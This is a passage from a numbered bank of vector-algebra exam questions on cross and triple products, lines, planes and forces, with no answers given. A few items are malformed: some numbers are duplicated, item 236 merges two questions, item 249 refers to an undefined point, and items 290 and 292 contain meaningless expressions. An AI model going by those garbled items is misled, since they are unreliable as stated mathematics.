\overrightarrow{r} \cdot \overrightarrow{a} = \overrightarrow{r} \cdot \overrightarrow{b} = \overrightarrow{r} \cdot \overrightarrow{c} = \frac{1}{2} \) for some non zero vector \( \overrightarrow{r} \) and \( \overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c} \) are non coplanar, then the area of the triangle whose vertices are \( A(\overrightarrow{a}), B(\overrightarrow{b}) \) and \( C(\overrightarrow{c}) \) is 216. If $\overrightarrow{\alpha} + \overrightarrow{\beta} + \overrightarrow{\gamma} = a\overrightarrow{\delta}$ and $\overrightarrow{\beta} + \overrightarrow{\gamma} + \overrightarrow{\delta} = b\overrightarrow{\alpha}$, $\overrightarrow{\alpha}$ and $\overrightarrow{\delta}$ are non-collinear, then $\overrightarrow{\alpha} + \overrightarrow{\beta} + \overrightarrow{\gamma} + \overrightarrow{\delta}$ equals a. $a\overrightarrow{\alpha}$ b. $b\overrightarrow{\delta}$ c. 0 d. $(a + b)\overrightarrow{\gamma}$ 217. Let $\overrightarrow{a} = \hat{i} + \hat{j}$ and $\overrightarrow{b} = 2\hat{i} - \hat{k}$. Then the point of intersection of the lines $\overrightarrow{r} \times \overrightarrow{a} = \overrightarrow{b} \times \overrightarrow{a}$ and $\overrightarrow{r} \times \overrightarrow{b} = \overrightarrow{a} \times \overrightarrow{b}$ is (A) (3, -1, 10) (B) (3, 1, -1) (C) (-3, 1, 1) (D) (-3, -1, -1) 218. If non-zero vectors $\overrightarrow{a}$ and $\overrightarrow{b}$ are perpendicular to each other, then the solution of the equation $\overrightarrow{r} \times \overrightarrow{a} = \overrightarrow{b}$ is given by 219. If $\overrightarrow{\alpha} \parallel (\overrightarrow{\beta} \times \overrightarrow{\gamma})$, then $(\overrightarrow{\alpha} \times \overrightarrow{\gamma})$ equal to 220. If $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ are three non coplanar vectors and $\overrightarrow{r}$ is any vector in space, then \[ \left( \overrightarrow{a} \times \overrightarrow{b} \right) \times \left( \overrightarrow{r} \times \overrightarrow{c} \right) + \left( \overrightarrow{b} \times \overrightarrow{c} \right) \times \left( \overrightarrow{r} \times \overrightarrow{a} \right) + \left( \overrightarrow{c} \times \overrightarrow{a} \right) \times \left( \overrightarrow{r} \times \overrightarrow{b} \right) \] 221. Let $\overrightarrow{OA} = \overrightarrow{a}$, $\overrightarrow{OB} = 10\overrightarrow{a} + 2\overrightarrow{b}$, and $\overrightarrow{OC} = b$ where $O$ is origin. Let $p$ denote the area of the quadrilateral $OABC$ and $q$ denote the area of the parallelogram with $OA$ and $OC$ as adjacent sides. Prove that $p = 6q$. 222. Let $\overrightarrow{OA} = \overrightarrow{a}$, $\overrightarrow{OB} = 10\overrightarrow{a} + 2\overrightarrow{b}$ and $\overrightarrow{OC} = \overrightarrow{b}$ where $O$, $A$ and $C$ are non-collinear points. Let $p$ denote the area of the quadrilateral $OABC$. And let $q$ denote the area of the parallelogram with $OA$ and $OC$ as adjacent sides. If $p = kq$, then $k =$ ________ 223. If \(|\vec{c}| = 2\), \(|\vec{a}| = |\vec{b}| = 1\) and \(\vec{a} \times (\vec{a} \times \vec{c}) + \vec{b} = \vec{0}\) then the acute angle between \(\vec{a}\) and \(\vec{c}\) is (A) \(\frac{\pi}{6}\) (B) \(\frac{\pi}{4}\) (C) \(\frac{\pi}{3}\) (D) \(\frac{2\pi}{3}\) 224. If \(\vec{a}\), \(\vec{b}\) and \(\vec{c}\) are non coplanar and unit vectors such that \(\vec{a} \times (\vec{b} \times \vec{c}) = \frac{\vec{b} + \vec{c}}{\sqrt{2}}\) then the angle between \(\vec{a}\) and \(\vec{b}\) is (A) \(\frac{3\pi}{4}\) (B) \(\frac{\pi}{4}\) (C) \(\frac{\pi}{2}\) (D) \(\pi\) 225. If \(\vec{b}\) and \(\vec{c}\) are any two mutually perpendicular unit vectors and \(\vec{a}\) is any vector, then 225. \((\overrightarrow{a} \cdot \overrightarrow{b})\overrightarrow{b} + (\overrightarrow{a} \cdot \overrightarrow{c})\overrightarrow{c} + \frac{\overrightarrow{a} \cdot (\overrightarrow{b} \times \overrightarrow{c})}{|\overrightarrow{b} \times \overrightarrow{c}|^2}(\overrightarrow{b} \times \overrightarrow{c}) = \) (A) 0 (B) \(\overrightarrow{a}\) (C) \(\overrightarrow{a}/2\) (D) \(2\overrightarrow{a}\) 226. The equation of the line through the point \(\overrightarrow{a}\) parallel to the plane \(\overrightarrow{r} \cdot \overrightarrow{n} = q\) and perpendicular to the line \(\overrightarrow{r} = \overrightarrow{b} + t\overrightarrow{c}\) is (A) \(\overrightarrow{r} = \overrightarrow{a} + \lambda(\overrightarrow{n} \times \overrightarrow{c})\) (B) \((\overrightarrow{r} - \overrightarrow{a}) \times (\overrightarrow{n} \times \overrightarrow{c}) = 0\) (C) \(\overrightarrow{r} = \overrightarrow{b} + \lambda(\overrightarrow{n} \times \overrightarrow{c})\) (D) none of these 227. \(\overrightarrow{P} = \hat{i} + \hat{j} + \hat{k}\) and \(\overrightarrow{R} = \hat{j} - \hat{k}\) are given vectors then a vector \(\overrightarrow{Q}\) satisfying the equation \(\overrightarrow{P} \times \overrightarrow{Q} = \overrightarrow{R}\) and \(\overrightarrow{P} \cdot \overrightarrow{Q} = 3\) is (A) \(\left(\frac{5}{3}, \frac{2}{3}, \frac{1}{3}\right)\) (B) \(\left(\frac{2}{3}, \frac{5}{3}, \frac{2}{3}\right)\) (C) \(\left(\frac{5}{3}, \frac{2}{3}, \frac{2}{3}\right)\) (D) \(\left(\frac{2}{3}, \frac{2}{3}, \frac{5}{3}\right)\) 228. The reflection of the point $\vec{a}$ in the plane $\vec{r} \cdot \vec{n} = q$ is 229. The plane containing the two straight lines $\vec{r} = \vec{a} + \lambda \vec{b}$ and $\vec{r} = \vec{b} + \mu \vec{a}$ is (A) $\begin{vmatrix} \vec{r} & \vec{a} & \vec{b} \end{vmatrix} = 0$ (B) $\begin{vmatrix} \vec{r} & \vec{a} & \vec{a} \times \vec{b} \end{vmatrix} = 0$ (C) $\begin{vmatrix} \vec{r} & \vec{b} & \vec{a} \times \vec{b} \end{vmatrix} = 0$ (D) $\begin{vmatrix} \vec{r} & \vec{a} + \vec{b} & \vec{a} \times \vec{b} \end{vmatrix} = 0$ 230. Let $\vec{a} = 2\hat{i} + \hat{j} + \hat{k}$, and $\vec{b} = \hat{i} + \hat{j}$ if $c$ is a vector such that $\vec{a} \cdot \vec{c} = |\vec{c}|$, $|\vec{c} - \vec{a}| = 2\sqrt{2}$ and the angle between $\vec{a} \times \vec{b}$ and $\vec{i}$ is $30^\circ$, then $|\left(\vec{a} \times \vec{b}\right) \times \vec{c}|$ is equal to 231. If $\vec{A}, \vec{B}, \vec{C}$ are three vectors respectively given by $2\hat{i} + \hat{k}$, $\hat{i} + \hat{j} + \hat{k}$ and $4\hat{i} - 3\hat{j} + 7\hat{k}$, then the vector $\vec{R}$ which satisfies the relations $\vec{R} \times \vec{B} = \vec{C} \times \vec{B}$ and $\vec{R} \cdot \vec{A} = 0$ is (A) $2\hat{i} - 8\hat{j} + 2\hat{k}$ (B) $\hat{i} - 4\hat{j} + 2\hat{k}$ (C) $-\hat{i} - 8\hat{j} + 2\hat{k}$ (D) none of these 232. A rigid body is spinning about a fixed point (3,-2-1) with an angular velocity of 4 rad/s, the axis of rotation being in the direction of (1,2,-2). Find the velocity of the particle at point (4,1,1)/ 233. A particle has an angular speed of 3 rad/s and the axis of rotation passes through the points (1, 1, 2) and (1, 2, -2). Find the velocity of the particle at point P(3, 6, 4). 234. If the area of triangle \(ABC\) having vertices \(A(\vec{a}), B(\vec{b}), C(\vec{c})\) is \[ t \left| \vec{a} \times \vec{b} + \vec{b} \times \vec{c} + \vec{c} \times \vec{a} \right| \] then \(t = \) (A) 2 (B) \(\frac{1}{2}\) (C) 1 (D) none of these 235. The vector \(\vec{a} \times \vec{b} + \vec{b} \times \vec{c} + \vec{c} \times \vec{a}\) is (A) parallel to plane of \(\triangle ABC\) (B) perpendicular to plane of \(\triangle ABC\) (C) is neither parallel nor perpendicular to the plane of \(\triangle ABC\) (D) the vector area of \(\triangle ABC\) 236. If vertices of \(\triangle ABC\) are \(A(\vec{a}), B(\vec{b})\) and \(C(\vec{c})\) then length of perpendicular from \(C\) to \(AB\) is (A) \[\frac{\left| \vec{b} \times \vec{c} + \vec{c} \times \vec{a} + \vec{a} \times \vec{b} \right|}{\left| \vec{a} - \vec{b} \right|}\] (B) 236. If $\vec{a}, \vec{b}$ and $\vec{c}$ are three non-coplanar vectors, then $$\frac{\left| \vec{b} \times \vec{c} + \vec{c} \times \vec{a} + \vec{a} \times \vec{b} \right|}{\left| \vec{a} + \vec{b} \right|} = \frac{\left| \vec{b} \times \vec{c} \right| + \left| \vec{c} \times \vec{a} \right| + \left| \vec{a} \times \vec{b} \right|}{\left| \vec{a} - \vec{b} \right|}$$ (C) none of these 237. If $\hat{u}$ and $\hat{v}$ are unit vectors and $\theta$ is the acute angle between them, then $2\hat{u} \times 3\hat{v}$ is a unit vector for (1) exactly two values of $\theta$ (2) more than two values of $\theta$ (3) no value of $\theta$ (4) exactly one value of $\theta$ 238. A tetrahedron has vertices O (0,0,0), A(1,2,1), B(2,1,3) and C(-1,1,2), the angle between faces OAB and ABC will be 239. Find the value of $a$ so that the volume of the parallelopiped formed by vectors $\hat{i} + a\hat{j} + \hat{k}$, $\hat{j} + a\hat{k}$ and $a\hat{i} + \hat{k}$ becomes minimum. 240. If $\vec{a} = (\hat{i} + \hat{j} + \hat{k})$, and $\vec{a} \cdot \vec{b} = 1$ and $\vec{a} \times \vec{b} = -(\hat{i} - \hat{k})$ then $\vec{b}$ is (A) $\hat{i} - \hat{j} + \hat{k}$ (B) $2\hat{j} - \hat{k}$ (C) $\hat{j}$ (D) $2\hat{i}$ 241. The unit vector which is orthogonal to the vector $3\hat{i} + 2\hat{j} + 6\hat{k}$ and is coplanar with the vectors $2\hat{i} + 2\hat{j} + \hat{k}$ and $\hat{i} - \hat{j} + \hat{k}$ is 242. The points with position vectors $60\hat{i} + 3\hat{j}$, $40\hat{i} - 8\hat{j}$, $a\hat{i} - 52\hat{j}$ are collinear if (A) $a = -40$ (B) $a = 40$ (C) $a = 20$ (D) none of these 243. A vector $\vec{v}$ or magnitude 4 units is equally inclined to the vectors $\hat{i} + \hat{j}$, $\hat{j} + \hat{k}$, $\hat{k} + \hat{i}$, which of the following is correct? (A) $\vec{v} = \frac{4}{\sqrt{3}}(\hat{i} - \hat{j} - \hat{k})$ (B) $\vec{v} = \frac{4}{\sqrt{3}}(\hat{i} + \hat{j} - \hat{k})$ (C) $\vec{v} = \frac{4}{\sqrt{3}}(\hat{i} + \hat{j} + \hat{k})$ (D) $\vec{v} = 4(\hat{i} + \hat{j} + \hat{k})$ 244. The position vectors of the points A and B with respect of O are $2\hat{i} + 2\hat{j} + \hat{k}$ and $2\hat{i} + 4\hat{j} + 4\hat{k}$, the length of the internal bisector of $\angle BOA$ of $\Delta AOB$ is 245. A particle acted upon by constant forces \(4\hat{i} + \hat{j} - 3\hat{k}\) and \(3\hat{i} + \hat{j} - \hat{k}\) is displaced from the point \(\hat{i} + 2\hat{j} + 3\hat{k}\) to point \(5\hat{i} + 4\hat{j} + \hat{k}\). The total work done by the forces in SI unit is 246. If \(n\) forces \(\overrightarrow{PA_1}, \ldots, \overrightarrow{PA_n}\) diverge from point \(P\) and other forces \(\overrightarrow{A_1Q}, \overrightarrow{A_2Q}, \ldots, \overrightarrow{A_nQ}\) converge to point \(Q\), then the resultant of the \(2n\) forces is represented in magnitude and direction by (A) \(n\overrightarrow{PQ}\) (B) \(n\overrightarrow{QP}\) (C) \(2n\overrightarrow{PQ}\) (D) \(n^2\overrightarrow{PQ}\) 247. If \(\overrightarrow{a} = \hat{i} + \hat{j} + \hat{k}\), \(\overrightarrow{b} = 4\hat{i} + 3\hat{j} + 4\hat{k}\) and \(\overrightarrow{c} = \hat{i} + \alpha\hat{j} + \beta\hat{k}\) are linearly dependent vectors and \(|\overrightarrow{c}| = \sqrt{3}\) then: 248. A vector $\overrightarrow{a} = t\hat{i} + t^2\hat{j}$ is rotated through a right angle passing through the x-axis. What is the vector in its new position ($t > 0$)? (A) $t^2\hat{i} - t\hat{j}$ (B) $\sqrt{t}\hat{i} - \frac{1}{\sqrt{t}}\hat{j}$ (C) $-t^2\hat{i} + t\hat{j}$ (D) $\frac{t^2\hat{i} - t\hat{j}}{t\sqrt{t^2 + 1}}$ 249. If $\overrightarrow{AO} + \overrightarrow{OB} = \overrightarrow{BO} + \overrightarrow{OC}$ then A,B,C,D form a/an (A) equilateral triangle (B) right angled triangle (C) isosceles triangle (D) straight line 250. The sides of a parallelogram are $2\hat{i} + 4\hat{j} - 5\hat{k}$ and $\hat{i} + 2\hat{j} + 3\hat{k}$. The unit vector parallel to one of the diagonals is 251. $\overrightarrow{a}$ and $\overrightarrow{b}$ are two non collinear vectors then $x \overrightarrow{a} + y \overrightarrow{b}$ (where x and y are scalars) represents a vector which is (A) parallel to $\overrightarrow{b}$ (B) parallel to $\overrightarrow{a}$ (C) coplanar with $\overrightarrow{a}$ and $\overrightarrow{b}$ (D) none of these 252. If D,E and F are respectively, the mid-points of AB,AC and BC in $\Delta ABC$, then BE+AF is equal to 253. If C is the mid point of AB and P is any point outside AB then (A) $\overrightarrow{PA} + \overrightarrow{PB} + \overrightarrow{PC} = 0$ (B) $\overrightarrow{PA} + \overrightarrow{PB} + 2\overrightarrow{PC} = \overrightarrow{0}$ (C) $\overrightarrow{PA} + \overrightarrow{PB} = \overrightarrow{PC}$ (D) $\overrightarrow{PA} + \overrightarrow{PB} = 2\overrightarrow{PC}$ 254. Consider points A, B, C, and D with position vectors \(7\hat{i} - 4\hat{j} + 7\hat{k}\), \(\hat{i} - 6\hat{j} + 10\hat{k}\), \(-1\hat{i} - 3\hat{j} + 4\hat{k}\) and \(5\hat{i} - \hat{j} + 5\hat{k}\), respectively. Then, ABCD is 255. If vectors \(\overrightarrow{AB} = -3\hat{i} + 4\hat{k}\) and \(\overrightarrow{AC} = 5\hat{i} - 2\hat{j} + 4\hat{k}\) are the sides of a \(\Delta ABC\), then the length of the median through A is 256. If \(\vec{a}\), \(\vec{b}\) and \(\vec{c}\) are non-coplanar vectors and \(\lambda\) is a real number, then the vectors \(\vec{a} + 2\vec{b} + 3\vec{c}\), \(\lambda\vec{b} + \mu\vec{c}\) and \((2\lambda - 1)\vec{c}\) are coplanar when 257. Let $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ be three non-zero vectors which are positive non-collinear. If $\overrightarrow{a} + 3\overrightarrow{b}$ is collinear with $\overrightarrow{c}$ and $\overrightarrow{b} + 2\overrightarrow{c}$ is collinear with $\overrightarrow{a}$ then $\overrightarrow{a}$ then $\overrightarrow{a} + 3\overrightarrow{b} + 6\overrightarrow{c}$ is: 258. If $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ are three vectors of which every pair is non colinear. If the vector $\overrightarrow{a} + \overrightarrow{b}$ and $\overrightarrow{b} + \overrightarrow{c}$ are collinear with the vector $\overrightarrow{c}$ and $\overrightarrow{a}$ respectively then which one of the following is correct? (A) $\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}$ is a nul vector (B) $\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}$ is a unit vector (C) $\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}$ is a vector of magnitude 2 units (D) $\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}$ is a vector of magnitude 3 units 259. If $|\overrightarrow{a}| = 3$, $|\overrightarrow{b}| = 4$, and $|\overrightarrow{a} + \overrightarrow{b}| = 5$, then $|\overrightarrow{a} - \overrightarrow{b}|$ is equal to (A) 6 (B) 5 (C) 4 (D) 3 260. Let $\overrightarrow{u}$, $\overrightarrow{v}$ and $\overrightarrow{w}$ be such that $|\overrightarrow{u}| = 1$, $|\overrightarrow{v}| = 2$ and $|\overrightarrow{w}| = 3$ if the projection of $\overrightarrow{v}$ along $h\overrightarrow{u}$ is equal to that of $\overrightarrow{w}$ along $\overrightarrow{u}$ and vectors $\overrightarrow{v}$ and $\overrightarrow{w}$ are perpendicular to each other then $|\overrightarrow{u} - \overrightarrow{v} + \overrightarrow{w}|$ equals 261. Let the vectors $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ are perpendicular to $\overrightarrow{b} + \overrightarrow{c}$, $\overrightarrow{c} + \overrightarrow{a}$ and $\overrightarrow{a} + \overrightarrow{b}$ respectively. If $|\overrightarrow{a} + \overrightarrow{b}| = 6$, $|\overrightarrow{b} + \overrightarrow{c}| = 8$ and $|\overrightarrow{c} + \overrightarrow{a}| = 10$, then the value of $|\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}|$ is equal to 262. If $\overrightarrow{a}$ and $\overrightarrow{b}$ are two unit vectors such that $\overrightarrow{a} + 2\overrightarrow{b}$ and $5\overrightarrow{a} - 4\overrightarrow{b}$ are perpendicular to each other, then the angle between $\overrightarrow{a}$ and $\overrightarrow{b}$ is 263. A unit vector in the xy-plane that makes an angle of $\frac{\pi}{4}$ with the vector $\hat{i} + \hat{j}$ and an angle of 'pi/3' with the vector $3\hat{i} - 4\hat{j}$ is 264. The position vector of the point where the line $$\vec{r} = \hat{i} - \hat{j} + \hat{k} + t(\hat{i} + \hat{j} - \hat{k})$$ meets plane $$\vec{r} \cdot (\hat{i} + \hat{j} + \hat{k}) = 5$$ is (A) $5\hat{i} + \hat{j} - \hat{k}$ (B) $5\hat{i} + 3\hat{j} - 3\hat{k}$ (C) $5\hat{i} + \hat{j} + \hat{k}$ (D) $4\hat{i} + 2\hat{j} - 2\hat{k}$ 265. The perpendicular distance between the line $$\vec{r} = 2\hat{i} - 2\hat{j} + 3\hat{k} + \lambda(\hat{i} - \hat{j} + 4\hat{k})$$ and the plane $$\vec{r} \cdot (\hat{i} + 5\hat{j} + \hat{k}) = 5$$ is: 266. A unit vector in the plane of the vectors \(2\hat{i} + \hat{j} + \hat{k}\), \(\hat{i} - \hat{j} + \hat{k}\) and orthogonal to \(5\hat{i} + 2\hat{j} - 6\hat{k}\) is (A) \(\frac{6\hat{i} - 5\hat{k}}{\sqrt{6}}\) (B) \(\frac{3\hat{j} - \hat{k}}{\sqrt{10}}\) (C) \(\frac{\hat{i} - 5\hat{j}}{\sqrt{29}}\) (D) \(\frac{2\hat{i} + \hat{j} - 2\hat{k}}{3}\) 267. The work done by the forces \(\vec{F} = 2\hat{i} - 3\hat{j} + 2\hat{k}\) in moving a particle from (3,4,5) to (1,2,3) is (A) 0 (B) \(\frac{3}{2}\) (C) -4 (D) -2 268. If the work done by a force \(\vec{F} = \hat{i} + \hat{j} - 8\hat{k}\) along a given vector in the xy-plane is 8 units and the magnitude of the given vector is \(4\sqrt{3}\) then the given vector is represented as (A) \((4 + 2\sqrt{2})\hat{i} + (4 - 2\sqrt{2})\hat{j}\) (B) \((4\hat{i} + 3\sqrt{2}\hat{j})\) (C) \((4\sqrt{2}\hat{i} + 4\hat{j})\) (D) \((4 + 2\sqrt{2})(\hat{i} + \hat{j})\) 269. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are unit coplanar vectors then the scalar triple product \[ \left[ 2\overrightarrow{a} - \overrightarrow{b}, 2\overrightarrow{b} - \overrightarrow{c}, 2\overrightarrow{c} - \overrightarrow{a} \right] \] is equal to (A) 0 (B) 1 (C) $-\sqrt{3}$ (D) $\sqrt{3}$ 270. Let vectors $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$, and $\overrightarrow{d}$ be such that \[ (\overrightarrow{a} \times \overrightarrow{b}) \times (\overrightarrow{c} \times \overrightarrow{d}) = \overrightarrow{0}. \] Let $P_1$ and $P_2$ be planes determined by the pairs of vectors $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$, $\overrightarrow{d}$, respectively. Then the angle between $P_1$ and $P_2$ is 271. Let $\overrightarrow{a} = \overrightarrow{i} - \overrightarrow{k}$, $\overrightarrow{b} = x\overrightarrow{i} + \overrightarrow{j} + (1-x)\overrightarrow{k}$ and $\overrightarrow{c} = y\overrightarrow{i} + x\overrightarrow{j} + (1+x-y)\overrightarrow{k}$. Then \[ \left[ \overrightarrow{a} \overrightarrow{b} \overrightarrow{c} \right] \] depends on 272. Then number of vectors of unit length perpendicular to vectors $\overrightarrow{a} = (1, 1, 0)$ and $\overrightarrow{b} = (0, 1, 1)$ is 273. If $\overrightarrow{a}$ and $\overrightarrow{b}$ are two unit vectors such that $\overrightarrow{a} + 2\overrightarrow{b}$ and $5\overrightarrow{a} - 4\overrightarrow{b}$ are perpendicular to each other, then the angle between $\overrightarrow{a}$ and $\overrightarrow{b}$ is 274. The point of intersection of $\overrightarrow{r} \times \overrightarrow{a} = \overrightarrow{b} \times \overrightarrow{a}$ and $\overrightarrow{r} \times \overrightarrow{b} = \overrightarrow{a} \times \overrightarrow{b}$ where $\overrightarrow{a} = \hat{i} + \hat{j}$ and $\overrightarrow{b} = 2\hat{i} - \hat{k}$ is (A) $3\hat{i} + \hat{j} - \hat{k}$ (B) $3\hat{i} - \hat{k}$ (C) $3\hat{i} + 2\hat{j} + \hat{k}$ (D) none of these 275. Let $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ be three vectors such that $\overrightarrow{a} \neq 0$, $|\overrightarrow{a}| = |\overrightarrow{c}| = 1$, $|\overrightarrow{b}| = 4$ and $|\overrightarrow{b} \times \overrightarrow{c}| = \sqrt{15}$. If $\overrightarrow{b} - 2\overrightarrow{c} = \lambda \overrightarrow{a}$ then find the value of $\lambda$. 276. $|\overrightarrow{a} \times \hat{i}|^2 + |\overrightarrow{a} \times \hat{j}|^2 + |\overrightarrow{a} \times \hat{k}|^2 =$ (A) $|\overrightarrow{a}|^2$ (B) $2|\overrightarrow{a}|^2$ (C) $3|\overrightarrow{a}|^2$ (D) $4|\overrightarrow{a}|^2$ 277. Let $\overrightarrow{V} = 2\hat{i} + \hat{j} - \hat{k}$ and $\overrightarrow{W} = \hat{i} + 3\hat{k}$. If $\overrightarrow{U}$ is a unit vector, then the maximum value of the scalar triple product $\left[ \overrightarrow{U} \overrightarrow{V} \overrightarrow{W} \right]$ is 278. If $\overrightarrow{a} \times \overrightarrow{b} = 0$ and $\overrightarrow{a} \cdot \overrightarrow{b} = 0$ then (A) $\overrightarrow{a} \perp \overrightarrow{b}$ (B) $\overrightarrow{a} || \overrightarrow{b}$ (C) $\overrightarrow{a} = 0$ and $\overrightarrow{b} = 0$ (D) $\overrightarrow{a} = 0$ or $\overrightarrow{b} = 0$ 279. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are unit coplanar vectors then the scalar triple product \[ \left[ 2\overrightarrow{a} - \overrightarrow{b}, 2\overrightarrow{b} - \overrightarrow{c}, 2\overrightarrow{c} - \overrightarrow{a} \right] \] is equal to (A) 0 (B) 1 (C) $-\sqrt{3}$ (D) $\sqrt{3}$ 280. Which of the following expressions are meaningful? (A) $\overrightarrow{u} \cdot (\overrightarrow{v} \times \overrightarrow{w})$ (B) $(\overrightarrow{u} \cdot \overrightarrow{v}) \times \overrightarrow{w}$ (C) $(\overrightarrow{u} \cdot \overrightarrow{v}) \cdot \overrightarrow{w}$ (D) $\overrightarrow{u} \times (\overrightarrow{v} \cdot \overrightarrow{w})$ 281. Let $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ be three non-coplanar vectors and $\overrightarrow{p}$, $\overrightarrow{q}$, $\overrightarrow{r}$ are vectors defined by the relations \[ \overrightarrow{p} = \frac{\overrightarrow{b} \times \overrightarrow{c}}{[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]}, \quad \overrightarrow{q} = \frac{\overrightarrow{c} \times \overrightarrow{a}}{[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]}, \quad \overrightarrow{r} = \frac{\overrightarrow{a} \times \overrightarrow{b}}{[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]} \] then the value of the expression \((\overrightarrow{a} + \overrightarrow{b}) \cdot \overrightarrow{p} + (\overrightarrow{b} + \overrightarrow{c}) \cdot \overrightarrow{q} + (\overrightarrow{c} + \overrightarrow{a}) \cdot \overrightarrow{r}\) is equal to (A) 0 (B) 1 (C) 2 (D) 3 282. Let \(\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}\) be non coplanar vectors and \(\overrightarrow{p} = \frac{\overrightarrow{b} \times \overrightarrow{c}}{[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]}, \overrightarrow{q} = \frac{\overrightarrow{c} \times \overrightarrow{a}}{[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]}, \overrightarrow{r} = \frac{\overrightarrow{a} \times \overrightarrow{b}}{[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]}\). What is the value of \((\overrightarrow{a} - \overrightarrow{b} - \overrightarrow{c}) \cdot \overrightarrow{p} + (\overrightarrow{b} - \overrightarrow{c} - \overrightarrow{a}) \cdot \overrightarrow{q} + (\overrightarrow{c} - \overrightarrow{a} - \overrightarrow{b}) \cdot \overrightarrow{r}\)? (A) 0 (B) -3 (C) 3 (D) -9 283. Let \(\overrightarrow{a} = \overrightarrow{i} - \overrightarrow{k}, \overrightarrow{b} = x \overrightarrow{i} + \overrightarrow{j} + (1 - x) \overrightarrow{k}\) and \(\overrightarrow{c} = y \overrightarrow{i} + x \overrightarrow{j} + (1 + x - y) \overrightarrow{k}\). Then \([\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]\) depends on 284. Let \(a, b\) and \(c\) be distinct non-negative numbers. If the vectors \(a\hat{i} + a\hat{j} + c\hat{k}, \hat{i} + \hat{k}\) and \(c\hat{i} + c\hat{j} + c\hat{k}\) lie in a plane, then \(c\) is: 285. If the vectors \(a\hat{i} + \hat{j} + \hat{k}, \hat{i} + b\hat{j} + \hat{k}, \hat{i} + \hat{j} + c\hat{k}(a \neq 1, b \neq 1, c \neq 1)\) are coplanar, then the value of \(\frac{1}{1-a} + \frac{1}{1-b} + \frac{1}{1-c}\) is (A) 0 (B) 1 (C) -1 (D) 2 286. If \[ \begin{vmatrix} a & a^2 & 1 + a^3 \\ b & b^2 & 1 + b^3 \\ c & c^2 & 1 + c^3 \end{vmatrix} = 0 \] and vectors \((1, a, a^2), (1, b, b^2)\) and \((1, c, c^2)\) are non-coplanar, then the product \(abc\) equal to: 287. If $\overrightarrow{u}$, $\overrightarrow{v}$ and $\overrightarrow{w}$ are three non coplanar vectors then $(\overrightarrow{u} + \overrightarrow{v} - \overrightarrow{w}) \cdot (\overrightarrow{u} - \overrightarrow{v}) \times (\overrightarrow{v} - \overrightarrow{w})$ equals (A) $\overrightarrow{u} \cdot (\overrightarrow{v} \times \overrightarrow{w})$ (B) $\overrightarrow{u} \cdot \overrightarrow{w} \times \overrightarrow{v}$ (C) $2 \overrightarrow{u} \cdot (\overrightarrow{v} \times \overrightarrow{w})$ (D) 0 288. Let $\overrightarrow{u} = \hat{i} + \hat{j}$, $\overrightarrow{v} = \hat{i} - \hat{j}$ and $\overrightarrow{w} = \hat{i} + 2\hat{j} + 3\hat{k}$. If $\hat{n}$ is a unit vector such that $\overrightarrow{u} \cdot \hat{n} = 0$ and $\overrightarrow{v} \cdot \hat{n} = 0$, $|\overrightarrow{w} \cdot \hat{n}|$ is equal to (A) 0 (B) 1 (C) 2 (D) 3 289. If $\overrightarrow{a}$ is perpendicular to $\overrightarrow{b}$ and $\overrightarrow{c}$ $|\overrightarrow{a}| = 2$, $|\overrightarrow{b}| = 3$, $|\overrightarrow{c}| = 4$ and the angle between $\overrightarrow{b}$ and $\overrightarrow{c}$ is $\frac{2\pi}{3}$, then $[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]$ is equal to (A) $4\sqrt{3}$ (B) $6\sqrt{3}$ (C) $12\sqrt{3}$ (D) $18\sqrt{3}$ 290. If \(a, b\) and \(c\) are non-coplanar vectors and \(\lambda\) is a real number, then \[ [\lambda(a + b) | \lambda^2b | \lambda c | \lambda c] = [a \quad a + c \quad b] \] 291. If \[ \vec{V} = x(\vec{a} \times \vec{b}) + y(\vec{b} \times \vec{c}) + z(\vec{c} \times \vec{a}) \] and \(\vec{V} \cdot (\vec{a} + \vec{b} + \vec{c})\) The value of \([\vec{a} \vec{b} \vec{c}]\) if \(x + y + z \neq 0\) is (A) 0 (B) 1 (C) -1 (D) 2 292. The scalar \(\vec{A} \cdot (\vec{B} \cdot \vec{C}) \times (\vec{A} + \vec{B} + \vec{C})\) equals 293. If $\overrightarrow{A}$, $\overrightarrow{B}$ and $\overrightarrow{C}$ are three non coplanar then \[ (\overrightarrow{A} + \overrightarrow{B} + \overrightarrow{C}) \cdot \left\{ (\overrightarrow{A} + \overrightarrow{B}) \times (\overrightarrow{A} + \overrightarrow{C}) \right\} \] equals: (A) 0 (B) $[\overrightarrow{A} \overrightarrow{B} \overrightarrow{C}]$ (C) $2 [\overrightarrow{A} \overrightarrow{B} \overrightarrow{C}]$ (D) $- [\overrightarrow{A} \overrightarrow{B} \overrightarrow{C}]$ 294. Find the value of $a$ so that the volume of the parallelopiped formed by vectors $\hat{i} + a\hat{j} + \hat{k}$, $\hat{j} + a\hat{k}$ and $a\hat{i} + \hat{k}$ becomes minimum. 295. For non-zero vectors $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$, \[ \left| (\overrightarrow{a} \times \overrightarrow{b}) \cdot \overrightarrow{c} \right| = |\overrightarrow{a}| |\overrightarrow{b}| |\overrightarrow{c}| 